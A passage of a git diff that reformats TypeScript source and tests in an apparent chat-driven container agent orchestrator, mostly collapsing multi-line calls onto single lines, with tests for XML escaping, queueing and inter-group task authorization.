row.added_at, - containerConfig: row.container_config - ? JSON.parse(row.container_config) - : undefined, - requiresTrigger: - row.requires_trigger === null ? undefined : row.requires_trigger === 1, + containerConfig: row.container_config ? JSON.parse(row.container_config) : undefined, + requiresTrigger: row.requires_trigger === null ? undefined : row.requires_trigger === 1, isMain: row.is_main === 1 ? true : undefined, }; } @@ -714,18 +632,12 @@ function migrateJsonState(): void { setRouterState('last_timestamp', routerState.last_timestamp); } if (routerState.last_agent_timestamp) { - setRouterState( - 'last_agent_timestamp', - JSON.stringify(routerState.last_agent_timestamp), - ); + setRouterState('last_agent_timestamp', JSON.stringify(routerState.last_agent_timestamp)); } } // Migrate sessions.json - const sessions = migrateFile('sessions.json') as Record< - string, - string - > | null; + const sessions = migrateFile('sessions.json') as Record | null; if (sessions) { for (const [folder, sessionId] of Object.entries(sessions)) { setSession(folder, sessionId); @@ -733,19 +645,13 @@ function migrateJsonState(): void { } // Migrate registered_groups.json - const groups = migrateFile('registered_groups.json') as Record< - string, - RegisteredGroup - > | null; + const groups = migrateFile('registered_groups.json') as Record | null; if (groups) { for (const [jid, group] of Object.entries(groups)) { try { setRegisteredGroup(jid, group); } catch (err) { - logger.warn( - { jid, folder: group.folder, err }, - 'Skipping migrated registered group with invalid folder', - ); + logger.warn({ jid, folder: group.folder, err }, 'Skipping migrated registered group with invalid folder'); } } } diff --git a/src/env.ts b/src/env.ts index 82cd5c3..064e6f8 100644 --- a/src/env.ts +++ b/src/env.ts @@ -31,8 +31,7 @@ export function readEnvFile(keys: string[]): Record { let value = trimmed.slice(eqIdx + 1).trim(); if ( value.length >= 2 && - ((value.startsWith('"') && value.endsWith('"')) || - (value.startsWith("'") && value.endsWith("'"))) + ((value.startsWith('"') && value.endsWith('"')) || (value.startsWith("'") && value.endsWith("'"))) ) { value = value.slice(1, -1); } diff --git a/src/formatting.test.ts b/src/formatting.test.ts index 2563576..d0b361a 100644 --- a/src/formatting.test.ts +++ b/src/formatting.test.ts @@ -1,16 +1,7 @@ import { describe, it, expect } from 'vitest'; -import { - ASSISTANT_NAME, - getTriggerPattern, - TRIGGER_PATTERN, -} from './config.js'; -import { - escapeXml, - formatMessages, - formatOutbound, - stripInternalTags, -} from './router.js'; +import { ASSISTANT_NAME, getTriggerPattern, TRIGGER_PATTERN } from './config.js'; +import { escapeXml, formatMessages, formatOutbound, stripInternalTags } from './router.js'; import { NewMessage } from './types.js'; function makeMsg(overrides: Partial = {}): NewMessage { @@ -45,9 +36,7 @@ describe('escapeXml', () => { }); it('handles multiple special characters together', () => { - expect(escapeXml('a & b < c > d "e"')).toBe( - 'a & b < c > d "e"', - ); + expect(escapeXml('a & b < c > d "e"')).toBe('a & b < c > d "e"'); }); it('passes through strings with no special chars', () => { @@ -100,13 +89,8 @@ describe('formatMessages', () => { }); it('escapes special characters in content', () => { - const result = formatMessages( - [makeMsg({ content: '' })], - TZ, - ); - expect(result).toContain( - '<script>alert("xss")</script>', - ); + const result = formatMessages([makeMsg({ content: '' })], TZ); + expect(result).toContain('<script>alert("xss")</script>'); }); it('handles empty array', () => { @@ -128,9 +112,7 @@ describe('formatMessages', () => { TZ, ); expect(result).toContain('reply_to="42"'); - expect(result).toContain( - 'Are you coming tonight?', - ); + expect(result).toContain('Are you coming tonight?'); expect(result).toContain('Yes, on my way!'); }); @@ -166,17 +148,12 @@ describe('formatMessages', () => { TZ, ); expect(result).toContain('from="A & B"'); - expect(result).toContain( - '<script>alert("xss")</script>', - ); + expect(result).toContain('<script>alert("xss")</script>'); }); it('converts timestamps to local time for given timezone', () => { // 2024-01-01T18:30:00Z in America/New_York (EST) = 1:30 PM - const result = formatMessages( - [makeMsg({ timestamp: '2024-01-01T18:30:00.000Z' })], - 'America/New_York', - ); + const result = formatMessages([makeMsg({ timestamp: '2024-01-01T18:30:00.000Z' })], 'America/New_York'); expect(result).toContain('1:30'); expect(result).toContain('PM'); expect(result).toContain(''); @@ -247,21 +224,15 @@ describe('getTriggerPattern', () => { describe('stripInternalTags', () => { it('strips single-line internal tags', () => { - expect(stripInternalTags('hello secret world')).toBe( - 'hello world', - ); + expect(stripInternalTags('hello secret world')).toBe('hello world'); }); it('strips multi-line internal tags', () => { - expect( - stripInternalTags('hello \nsecret\nstuff\n world'), - ).toBe('hello world'); + expect(stripInternalTags('hello \nsecret\nstuff\n world')).toBe('hello world'); }); it('strips multiple internal tag blocks', () => { - expect( - stripInternalTags('ahellob'), - ).toBe('hello'); + expect(stripInternalTags('ahellob')).toBe('hello'); }); it('returns empty string when text is only internal tags', () => { @@ -279,9 +250,7 @@ describe('formatOutbound', () => { }); it('strips internal tags from remaining text', () => { - expect( - formatOutbound('thinkingThe answer is 42'), - ).toBe('The answer is 42'); + expect(formatOutbound('thinkingThe answer is 42')).toBe('The answer is 42'); }); }); @@ -290,10 +259,7 @@ describe('formatOutbound', () => { describe('trigger gating (requiresTrigger interaction)', () => { // Replicates the exact logic from processGroupMessages and startMessageLoop: // if (!isMainGroup && group.requiresTrigger !== false) { check group.trigger } - function shouldRequireTrigger( - isMainGroup: boolean, - requiresTrigger: boolean | undefined, - ): boolean { + function shouldRequireTrigger(isMainGroup: boolean, requiresTrigger: boolean | undefined): boolean { return !isMainGroup && requiresTrigger !== false; } diff --git a/src/group-folder.test.ts b/src/group-folder.test.ts index b88d268..cc77210 100644 --- a/src/group-folder.test.ts +++ b/src/group-folder.test.ts @@ -2,11 +2,7 @@ import path from 'path'; import { describe, expect, it } from 'vitest'; -import { - isValidGroupFolder, - resolveGroupFolderPath, - resolveGroupIpcPath, -} from './group-folder.js'; +import { isValidGroupFolder, resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; describe('group folder validation', () => { it('accepts normal group folder names', () => { @@ -24,16 +20,12 @@ describe('group folder validation', () => { it('resolves safe paths under groups directory', () => { const resolved = resolveGroupFolderPath('family-chat'); - expect(resolved.endsWith(`${path.sep}groups${path.sep}family-chat`)).toBe( - true, - ); + expect(resolved.endsWith(`${path.sep}groups${path.sep}family-chat`)).toBe(true); }); it('resolves safe paths under data ipc directory', () => { const resolved = resolveGroupIpcPath('family-chat'); - expect( - resolved.endsWith(`${path.sep}data${path.sep}ipc${path.sep}family-chat`), - ).toBe(true); + expect(resolved.endsWith(`${path.sep}data${path.sep}ipc${path.sep}family-chat`)).toBe(true); }); it('throws for unsafe folder names', () => { diff --git a/src/group-queue.test.ts b/src/group-queue.test.ts index d7de517..a7aa286 100644 --- a/src/group-queue.test.ts +++ b/src/group-queue.test.ts @@ -298,12 +298,7 @@ describe('GroupQueue', () => { await vi.advanceTimersByTimeAsync(10); // Register a process so closeStdin has a groupFolder - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); // Enqueue a task while container is active but NOT idle const taskFn = vi.fn(async () => {}); @@ -338,12 +333,7 @@ describe('GroupQueue', () => { await vi.advanceTimersByTimeAsync(10); // Register process and mark idle - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); queue.notifyIdle('group1@g.us'); // Clear previous writes, then enqueue a task @@ -377,12 +367,7 @@ describe('GroupQueue', () => { queue.setProcessMessagesFn(processMessages); queue.enqueueMessageCheck('group1@g.us'); await vi.advanceTimersByTimeAsync(10); - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); // Container becomes idle queue.notifyIdle('group1@g.us'); @@ -418,12 +403,7 @@ describe('GroupQueue', () => { // Start a task (sets isTaskContainer = true) queue.enqueueTask('group1@g.us', 'task-1', taskFn); await vi.advanceTimersByTimeAsync(10); - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); // sendMessage should return false — user messages must not go to task containers const result = queue.sendMessage('group1@g.us', 'hello'); @@ -451,12 +431,7 @@ describe('GroupQueue', () => { await vi.advanceTimersByTimeAsync(10); // Register process and enqueue a task (no idle yet — no preemption) - queue.registerProcess( - 'group1@g.us', - {} as any, - 'container-1', - 'test-group', - ); + queue.registerProcess('group1@g.us', {} as any, 'container-1', 'test-group'); const writeFileSync = vi.mocked(fs.default.writeFileSync); writeFileSync.mockClear(); @@ -473,9 +448,7 @@ describe('GroupQueue', () => { writeFileSync.mockClear(); queue.notifyIdle('group1@g.us'); - closeWrites = writeFileSync.mock.calls.filter( - (call) => typeof call[0] === 'string' && call[0].endsWith('_close'), - ); + closeWrites = writeFileSync.mock.calls.filter((call) => typeof call[0] === 'string' && call[0].endsWith('_close')); expect(closeWrites).toHaveLength(1); resolveProcess!(); diff --git a/src/group-queue.ts b/src/group-queue.ts index a3b547d..5b73e6a 100644 --- a/src/group-queue.ts +++ b/src/group-queue.ts @@ -31,8 +31,7 @@ export class GroupQueue { private groups = new Map(); private activeCount = 0; private waitingGroups: string[] = []; - private processMessagesFn: ((groupJid: string) => Promise) | null = - null; + private processMessagesFn: ((groupJid: string) => Promise) | null = null; private shuttingDown = false; private getGroup(groupJid: string): GroupState { @@ -75,10 +74,7 @@ export class GroupQueue { if (!this.waitingGroups.includes(groupJid)) { this.waitingGroups.push(groupJid); } - logger.debug( - { groupJid, activeCount: this.activeCount }, - 'At concurrency limit, message queued', - ); + logger.debug({ groupJid, activeCount: this.activeCount }, 'At concurrency limit, message queued'); return; } @@ -116,10 +112,7 @@ export class GroupQueue { if (!this.waitingGroups.includes(groupJid)) { this.waitingGroups.push(groupJid); } - logger.debug( - { groupJid, taskId, activeCount: this.activeCount }, - 'At concurrency limit, task queued', - ); + logger.debug({ groupJid, taskId, activeCount: this.activeCount }, 'At concurrency limit, task queued'); return; } @@ -129,12 +122,7 @@ export class GroupQueue { ); } - registerProcess( - groupJid: string, - proc: ChildProcess, - containerName: string, - groupFolder?: string, - ): void { + registerProcess(groupJid: string, proc: ChildProcess, containerName: string, groupFolder?: string): void { const state = this.getGroup(groupJid); state.process = proc; state.containerName = containerName; @@ -159,8 +147,7 @@ export class GroupQueue { */ sendMessage(groupJid: string, text: string): boolean { const state = this.getGroup(groupJid); - if (!state.active || !state.groupFolder || state.isTaskContainer) - return false; + if (!state.active || !state.groupFolder || state.isTaskContainer) return false; state.idleWaiting = false; // Agent is about to receive work, no longer idle const inputDir = path.join(DATA_DIR, 'ipc', state.groupFolder, 'input'); @@ -193,10 +180,7 @@ export class GroupQueue { } } - private async runForGroup( - groupJid: string, - reason: 'messages' | 'drain', - ): Promise { + private async runForGroup(groupJid: string, reason: 'messages' | 'drain'): Promise { const state = this.getGroup(groupJid); state.active = true; state.idleWaiting = false; @@ -204,10 +188,7 @@ export class GroupQueue { state.pendingMessages = false; this.activeCount++; - logger.debug( - { groupJid, reason, activeCount: this.activeCount }, - 'Starting container for group', - ); + logger.debug({ groupJid, reason, activeCount: this.activeCount }, 'Starting container for group'); try { if (this.processMessagesFn) { @@ -239,10 +220,7 @@ export class GroupQueue { state.runningTaskId = task.id; this.activeCount++; - logger.debug( - { groupJid, taskId: task.id, activeCount: this.activeCount }, - 'Running queued task', - ); + logger.debug({ groupJid, taskId: task.id, activeCount: this.activeCount }, 'Running queued task'); try { await task.fn(); @@ -272,10 +250,7 @@ export class GroupQueue { } const delayMs = BASE_RETRY_MS * Math.pow(2, state.retryCount - 1); - logger.info( - { groupJid, retryCount: state.retryCount, delayMs }, - 'Scheduling retry with backoff', - ); + logger.info({ groupJid, retryCount: state.retryCount, delayMs }, 'Scheduling retry with backoff'); setTimeout(() => { if (!this.shuttingDown) { this.enqueueMessageCheck(groupJid); @@ -292,10 +267,7 @@ export class GroupQueue { if (state.pendingTasks.length > 0) { const task = state.pendingTasks.shift()!; this.runTask(groupJid, task).catch((err) => - logger.error( - { groupJid, taskId: task.id, err }, - 'Unhandled error in runTask (drain)', - ), + logger.error({ groupJid, taskId: task.id, err }, 'Unhandled error in runTask (drain)'), ); return; } @@ -303,10 +275,7 @@ export class GroupQueue { // Then pending messages if (state.pendingMessages) { this.runForGroup(groupJid, 'drain').catch((err) => - logger.error( - { groupJid, err }, - 'Unhandled error in runForGroup (drain)', - ), + logger.error({ groupJid, err }, 'Unhandled error in runForGroup (drain)'), ); return; } @@ -316,10 +285,7 @@ export class GroupQueue { } private drainWaiting(): void { - while ( - this.waitingGroups.length > 0 && - this.activeCount < MAX_CONCURRENT_CONTAINERS - ) { + while (this.waitingGroups.length > 0 && this.activeCount < MAX_CONCURRENT_CONTAINERS) { const nextJid = this.waitingGroups.shift()!; const state = this.getGroup(nextJid); @@ -327,17 +293,11 @@ export class GroupQueue { if (state.pendingTasks.length > 0) { const task = state.pendingTasks.shift()!; this.runTask(nextJid, task).catch((err) => - logger.error( - { groupJid: nextJid, taskId: task.id, err }, - 'Unhandled error in runTask (waiting)', - ), + logger.error({ groupJid: nextJid, taskId: task.id, err }, 'Unhandled error in runTask (waiting)'), ); } else if (state.pendingMessages) { this.runForGroup(nextJid, 'drain').catch((err) => - logger.error( - { groupJid: nextJid, err }, - 'Unhandled error in runForGroup (waiting)', - ), + logger.error({ groupJid: nextJid, err }, 'Unhandled error in runForGroup (waiting)'), ); } // If neither pending, skip this group diff --git a/src/index.ts b/src/index.ts index 004764d..ded6b94 100644 --- a/src/index.ts +++ b/src/index.ts @@ -15,20 +15,9 @@ import { TIMEZONE, } from './config.js'; import './channels/index.js'; -import { - getChannelFactory, - getRegisteredChannelNames, -} from './channels/registry.js'; -import { - ContainerOutput, - runContainerAgent, - writeGroupsSnapshot, - writeTasksSnapshot, -} from './container-runner.js'; -import { - cleanupOrphans, - ensureContainerRuntimeRunning, -} from './container-runtime.js'; +import { getChannelFactory, getRegisteredChannelNames } from './channels/registry.js'; +import { ContainerOutput, runContainerAgent, writeGroupsSnapshot, writeTasksSnapshot } from './container-runner.js'; +import { cleanupOrphans, ensureContainerRuntimeRunning } from './container-runtime.js'; import { getAllChats, getAllRegisteredGroups, @@ -50,17 +39,8 @@ import { GroupQueue } from './group-queue.js'; import { resolveGroupFolderPath } from './group-folder.js'; import { startIpcWatcher } from './ipc.js'; import { findChannel, formatMessages, formatOutbound } from './router.js'; -import { - restoreRemoteControl, - startRemoteControl, - stopRemoteControl, -} from './remote-control.js'; -import { - isSenderAllowed, - isTriggerAllowed, - loadSenderAllowlist, - shouldDropMessage, -} from './sender-allowlist.js'; +import { restoreRemoteControl, startRemoteControl, stopRemoteControl } from './remote-control.js'; +import { isSenderAllowed, isTriggerAllowed, loadSenderAllowlist, shouldDropMessage } from './sender-allowlist.js'; import { startSessionCleanup } from './session-cleanup.js'; import { startSchedulerLoop } from './task-scheduler.js'; import { Channel, NewMessage, RegisteredGroup } from './types.js'; @@ -85,16 +65,10 @@ function ensureOneCLIAgent(jid: string, group: RegisteredGroup): void { const identifier = group.folder.toLowerCase().replace(/_/g, '-'); onecli.ensureAgent({ name: group.name, identifier }).then( (res) => { - logger.info( - { jid, identifier, created: res.created }, - 'OneCLI agent ensured', - ); + logger.info({ jid, identifier, created: res.created }, 'OneCLI agent ensured'); }, (err) => { - logger.debug( - { jid, identifier, err: String(err) }, - 'OneCLI agent ensure skipped', - ); + logger.debug({ jid, identifier, err: String(err) }, 'OneCLI agent ensure skipped'); }, ); } @@ -110,10 +84,7 @@ function loadState(): void { } sessions = getAllSessions(); registeredGroups = getAllRegisteredGroups(); - logger.info( - { groupCount: Object.keys(registeredGroups).length }, - 'State loaded', - ); + logger.info({ groupCount: Object.keys(registeredGroups).length }, 'State loaded'); } /** @@ -126,10 +97,7 @@ function getOrRecoverCursor(chatJid: string): string { const botTs = getLastBotMessageTimestamp(chatJid, ASSISTANT_NAME); if (botTs) { - logger.info( - { chatJid, recoveredFrom: botTs }, - 'Recovered message cursor from last bot reply', - ); + logger.info({ chatJid, recoveredFrom: botTs }, 'Recovered message cursor from last bot reply'); lastAgentTimestamp[chatJid] = botTs; saveState(); return botTs; @@ -147,10 +115,7 @@ function registerGroup(jid: string, group: RegisteredGroup): void { try { groupDir = resolveGroupFolderPath(group.folder); } catch (err) { - logger.warn( - { jid, folder: group.folder, err }, - 'Rejecting group registration with invalid folder', - ); + logger.warn({ jid, folder: group.folder, err }, 'Rejecting group registration with invalid folder'); return; } @@ -164,11 +129,7 @@ function registerGroup(jid: string, group: RegisteredGroup): void { // identity and instructions from the first run. (Fixes #1391) const groupMdFile = path.join(groupDir, 'CLAUDE.md'); if (!fs.existsSync(groupMdFile)) { - const templateFile = path.join( - GROUPS_DIR, - group.isMain ? 'main' : 'global', - 'CLAUDE.md', - ); + const templateFile = path.join(GROUPS_DIR, group.isMain ? 'main' : 'global', 'CLAUDE.md'); if (fs.existsSync(templateFile)) { let content = fs.readFileSync(templateFile, 'utf-8'); if (ASSISTANT_NAME !== 'Andy') { @@ -183,10 +144,7 @@ function registerGroup(jid: string, group: RegisteredGroup): void { // Ensure a corresponding OneCLI agent exists (best-effort, non-blocking) ensureOneCLIAgent(jid, group); - logger.info( - { jid, name: group.name, folder: group.folder }, - 'Group registered', - ); + logger.info({ jid, name: group.name, folder: group.folder }, 'Group registered'); } /** @@ -208,9 +166,7 @@ export function getAvailableGroups(): import('./container-runner.js').AvailableG } /** @internal - exported for testing */ -export function _setRegisteredGroups( - groups: Record, -): void { +export function _setRegisteredGroups(groups: Record): void { registeredGroups = groups; } @@ -245,8 +201,7 @@ async function processGroupMessages(chatJid: string): Promise { const allowlistCfg = loadSenderAllowlist(); const hasTrigger = missedMessages.some( (m) => - triggerPattern.test(m.content.trim()) && - (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + triggerPattern.test(m.content.trim()) && (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), ); if (!hasTrigger) return true; } @@ -256,14 +211,10 @@ async function processGroupMessages(chatJid: string): Promise { // Advance cursor so the piping path in startMessageLoop won't re-fetch // these messages. Save the old cursor so we can roll back on error. const previousCursor = lastAgentTimestamp[chatJid] || ''; - lastAgentTimestamp[chatJid] = - missedMessages[missedMessages.length - 1].timestamp; + lastAgentTimestamp[chatJid] = missedMessages[missedMessages.length - 1].timestamp; saveState(); - logger.info( - { group: group.name, messageCount: missedMessages.length }, - 'Processing messages', - ); + logger.info({ group: group.name, messageCount: missedMessages.length }, 'Processing messages'); // Track idle timer for closing stdin when agent is idle let idleTimer: ReturnType | null = null; @@ -271,10 +222,7 @@ async function processGroupMessages(chatJid: string): Promise { const resetIdleTimer = () => { if (idleTimer) clearTimeout(idleTimer); idleTimer = setTimeout(() => { - logger.debug( - { group: group.name }, - 'Idle timeout, closing container stdin', - ); + logger.debug({ group: group.name }, 'Idle timeout, closing container stdin'); queue.closeStdin(chatJid); }, IDLE_TIMEOUT); }; @@ -286,10 +234,7 @@ async function processGroupMessages(chatJid: string): Promise { const output = await runAgent(group, prompt, chatJid, async (result) => { // Streaming output callback — called for each agent result if (result.result) { - const raw = - typeof result.result === 'string' - ? result.result - : JSON.stringify(result.result); + const raw = typeof result.result === 'string' ? result.result : JSON.stringify(result.result); // Strip ... blocks — agent uses these for internal reasoning const text = raw.replace(/[\s\S]*?<\/internal>/g, '').trim(); logger.info({ group: group.name }, `Agent output: ${raw.length} chars`); @@ -326,10 +271,7 @@ async function processGroupMessages(chatJid: string): Promise { // Roll back cursor so retries can re-process these messages lastAgentTimestamp[chatJid] = previousCursor; saveState(); - logger.warn( - { group: group.name }, - 'Agent error, rolled back message cursor for retry', - ); + logger.warn({ group: group.name }, 'Agent error, rolled back message cursor for retry'); return false; } @@ -364,12 +306,7 @@ async function runAgent( // Update available groups snapshot (main group only can see all groups) const availableGroups = getAvailableGroups(); - writeGroupsSnapshot( - group.folder, - isMain, - availableGroups, - new Set(Object.keys(registeredGroups)), - ); + writeGroupsSnapshot(group.folder, isMain, availableGroups, new Set(Object.keys(registeredGroups))); // Wrap onOutput to track session ID from streamed results const wrappedOnOutput = onOutput @@ -393,8 +330,7 @@ async function runAgent( isMain, assistantName: ASSISTANT_NAME, }, - (proc, containerName) => - queue.registerProcess(chatJid, proc, containerName, group.folder), + (proc, containerName) => queue.registerProcess(chatJid, proc, containerName, group.folder), wrappedOnOutput, ); @@ -409,11 +345,7 @@ async function runAgent( // deletion, or disk-full. The existing backoff in group-queue.ts // handles the retry; we just need to remove the broken session ID. const isStaleSession = - sessionId && - output.error && - /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test( - output.error, - ); + sessionId && output.error && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); if (isStaleSession) { logger.warn( @@ -424,10 +356,7 @@ async function runAgent( deleteSession(group.folder); } - logger.error( - { group: group.name, error: output.error }, - 'Container agent error', - ); + logger.error({ group: group.name, error: output.error }, 'Container agent error'); return 'error'; } @@ -450,11 +379,7 @@ async function startMessageLoop(): Promise { while (true) { try { const jids = Object.keys(registeredGroups); - const { messages, newTimestamp } = getNewMessages( - jids, - lastTimestamp, - ASSISTANT_NAME, - ); + const { messages, newTimestamp } = getNewMessages(jids, lastTimestamp, ASSISTANT_NAME); if (messages.length > 0) { logger.info({ count: messages.length }, 'New messages'); @@ -496,8 +421,7 @@ async function startMessageLoop(): Promise { const hasTrigger = groupMessages.some( (m) => triggerPattern.test(m.content.trim()) && - (m.is_from_me || - isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), ); if (!hasTrigger) continue; } @@ -510,24 +434,17 @@ async function startMessageLoop(): Promise { ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT, ); - const messagesToSend = - allPending.length > 0 ? allPending : groupMessages; + const messagesToSend = allPending.length > 0 ? allPending : groupMessages; const formatted = formatMessages(messagesToSend, TIMEZONE); if (queue.sendMessage(chatJid, formatted)) { - logger.debug( - { chatJid, count: messagesToSend.length }, - 'Piped messages to active container', - ); - lastAgentTimestamp[chatJid] = - messagesToSend[messagesToSend.length - 1].timestamp; + logger.debug({ chatJid, count: messagesToSend.length }, 'Piped messages to active container'); + lastAgentTimestamp[chatJid] = messagesToSend[messagesToSend.length - 1].timestamp; saveState(); // Show typing indicator while the container processes the piped message channel .setTyping?.(chatJid, true) - ?.catch((err) => - logger.warn({ chatJid, err }, 'Failed to set typing indicator'), - ); + ?.catch((err) => logger.warn({ chatJid, err }, 'Failed to set typing indicator')); } else { // No active container — enqueue for a new one queue.enqueueMessageCheck(chatJid); @@ -547,17 +464,9 @@ async function startMessageLoop(): Promise { */ function recoverPendingMessages(): void { for (const [chatJid, group] of Object.entries(registeredGroups)) { - const pending = getMessagesSince( - chatJid, - getOrRecoverCursor(chatJid), - ASSISTANT_NAME, - MAX_MESSAGES_PER_PROMPT, - ); + const pending = getMessagesSince(chatJid, getOrRecoverCursor(chatJid), ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT); if (pending.length > 0) { - logger.info( - { group: group.name, pendingCount: pending.length }, - 'Recovery: found unprocessed messages', - ); + logger.info({ group: group.name, pendingCount: pending.length }, 'Recovery: found unprocessed messages'); queue.enqueueMessageCheck(chatJid); } } @@ -593,17 +502,10 @@ async function main(): Promise { process.on('SIGINT', () => shutdown('SIGINT')); // Handle /remote-control and /remote-control-end commands - async function handleRemoteControl( - command: string, - chatJid: string, - msg: NewMessage, - ): Promise { + async function handleRemoteControl(command: string, chatJid: string, msg: NewMessage): Promise { const group = registeredGroups[chatJid]; if (!group?.isMain) { - logger.warn( - { chatJid, sender: msg.sender }, - 'Remote control rejected: not main group', - ); + logger.warn({ chatJid, sender: msg.sender }, 'Remote control rejected: not main group'); return; } @@ -611,18 +513,11 @@ async function main(): Promise { if (!channel) return; if (command === '/remote-control') { - const result = await startRemoteControl( - msg.sender, - chatJid, - process.cwd(), - ); + const result = await startRemoteControl(msg.sender, chatJid, process.cwd()); if (result.ok) { await channel.sendMessage(chatJid, result.url); } else { - await channel.sendMessage( - chatJid, - `Remote Control failed: ${result.error}`, - ); + await channel.sendMessage(chatJid, `Remote Control failed: ${result.error}`); } } else { const result = stopRemoteControl(); @@ -649,28 +544,17 @@ async function main(): Promise { // Sender allowlist drop mode: discard messages from denied senders before storing if (!msg.is_from_me && !msg.is_bot_message && registeredGroups[chatJid]) { const cfg = loadSenderAllowlist(); - if ( - shouldDropMessage(chatJid, cfg) && - !isSenderAllowed(chatJid, msg.sender, cfg) - ) { + if (shouldDropMessage(chatJid, cfg) && !isSenderAllowed(chatJid, msg.sender, cfg)) { if (cfg.logDenied) { - logger.debug( - { chatJid, sender: msg.sender }, - 'sender-allowlist: dropping message (drop mode)', - ); + logger.debug({ chatJid, sender: msg.sender }, 'sender-allowlist: dropping message (drop mode)'); } return; } } storeMessage(msg); }, - onChatMetadata: ( - chatJid: string, - timestamp: string, - name?: string, - channel?: string, - isGroup?: boolean, - ) => storeChatMetadata(chatJid, timestamp, name, channel, isGroup), + onChatMetadata: (chatJid: string, timestamp: string, name?: string, channel?: string, isGroup?: boolean) => + storeChatMetadata(chatJid, timestamp, name, channel, isGroup), registeredGroups: () => registeredGroups, }; @@ -721,15 +605,10 @@ async function main(): Promise { registeredGroups: () => registeredGroups, registerGroup, syncGroups: async (force: boolean) => { - await Promise.all( - channels - .filter((ch) => ch.syncGroups) - .map((ch) => ch.syncGroups!(force)), - ); + await Promise.all(channels.filter((ch) => ch.syncGroups).map((ch) => ch.syncGroups!(force))); }, getAvailableGroups, - writeGroupsSnapshot: (gf, im, ag, rj) => - writeGroupsSnapshot(gf, im, ag, rj), + writeGroupsSnapshot: (gf, im, ag, rj) => writeGroupsSnapshot(gf, im, ag, rj), onTasksChanged: () => { const tasks = getAllTasks(); const taskRows = tasks.map((t) => ({ @@ -758,9 +637,7 @@ async function main(): Promise { // Guard: only run when executed directly, not when imported by tests const isDirectRun = - process.argv[1] && - new URL(import.meta.url).pathname === - new URL(`file://${process.argv[1]}`).pathname; + process.argv[1] && new URL(import.meta.url).pathname === new URL(`file://${process.argv[1]}`).pathname; if (isDirectRun) { main().catch((err) => { diff --git a/src/ipc-auth.test.ts b/src/ipc-auth.test.ts index 0adf899..c5bcd51 100644 --- a/src/ipc-auth.test.ts +++ b/src/ipc-auth.test.ts @@ -176,32 +176,17 @@ describe('pause_task authorization', () => { }); it('main group can pause any task', async () => { - await processTaskIpc( - { type: 'pause_task', taskId: 'task-other' }, - 'whatsapp_main', - true, - deps, - ); + await processTaskIpc({ type: 'pause_task', taskId: 'task-other' }, 'whatsapp_main', true, deps); expect(getTaskById('task-other')!.status).toBe('paused'); }); it('non-main group can pause its own task', async () => { - await processTaskIpc( - { type: 'pause_task', taskId: 'task-other' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'pause_task', taskId: 'task-other' }, 'other-group', false, deps); expect(getTaskById('task-other')!.status).toBe('paused'); }); it('non-main group cannot pause another groups task', async () => { - await processTaskIpc( - { type: 'pause_task', taskId: 'task-main' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'pause_task', taskId: 'task-main' }, 'other-group', false, deps); expect(getTaskById('task-main')!.status).toBe('active'); }); }); @@ -225,32 +210,17 @@ describe('resume_task authorization', () => { }); it('main group can resume any task', async () => { - await processTaskIpc( - { type: 'resume_task', taskId: 'task-paused' }, - 'whatsapp_main', - true, - deps, - ); + await processTaskIpc({ type: 'resume_task', taskId: 'task-paused' }, 'whatsapp_main', true, deps); expect(getTaskById('task-paused')!.status).toBe('active'); }); it('non-main group can resume its own task', async () => { - await processTaskIpc( - { type: 'resume_task', taskId: 'task-paused' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'resume_task', taskId: 'task-paused' }, 'other-group', false, deps); expect(getTaskById('task-paused')!.status).toBe('active'); }); it('non-main group cannot resume another groups task', async () => { - await processTaskIpc( - { type: 'resume_task', taskId: 'task-paused' }, - 'third-group', - false, - deps, - ); + await processTaskIpc({ type: 'resume_task', taskId: 'task-paused' }, 'third-group', false, deps); expect(getTaskById('task-paused')!.status).toBe('paused'); }); }); @@ -272,12 +242,7 @@ describe('cancel_task authorization', () => { created_at: '2024-01-01T00:00:00.000Z', }); - await processTaskIpc( - { type: 'cancel_task', taskId: 'task-to-cancel' }, - 'whatsapp_main', - true, - deps, - ); + await processTaskIpc({ type: 'cancel_task', taskId: 'task-to-cancel' }, 'whatsapp_main', true, deps); expect(getTaskById('task-to-cancel')).toBeUndefined(); }); @@ -295,12 +260,7 @@ describe('cancel_task authorization', () => { created_at: '2024-01-01T00:00:00.000Z', }); - await processTaskIpc( - { type: 'cancel_task', taskId: 'task-own' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'cancel_task', taskId: 'task-own' }, 'other-group', false, deps); expect(getTaskById('task-own')).toBeUndefined(); }); @@ -318,12 +278,7 @@ describe('cancel_task authorization', () => { created_at: '2024-01-01T00:00:00.000Z', }); - await processTaskIpc( - { type: 'cancel_task', taskId: 'task-foreign' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'cancel_task', taskId: 'task-foreign' }, 'other-group', false, deps); expect(getTaskById('task-foreign')).toBeDefined(); }); }); @@ -372,12 +327,7 @@ describe('register_group authorization', () => { describe('refresh_groups authorization', () => { it('non-main group cannot trigger refresh', async () => { // This should be silently blocked (no crash, no effect) - await processTaskIpc( - { type: 'refresh_groups' }, - 'other-group', - false, - deps, - ); + await processTaskIpc({ type: 'refresh_groups' }, 'other-group', false, deps); // If we got here without error, the auth gate worked }); }); @@ -399,40 +349,26 @@ describe('IPC message authorization', () => { } it('main group can send to any group', () => { - expect( - isMessageAuthorized('whatsapp_main', true, 'other@g.us', groups), - ).toBe(true); - expect( 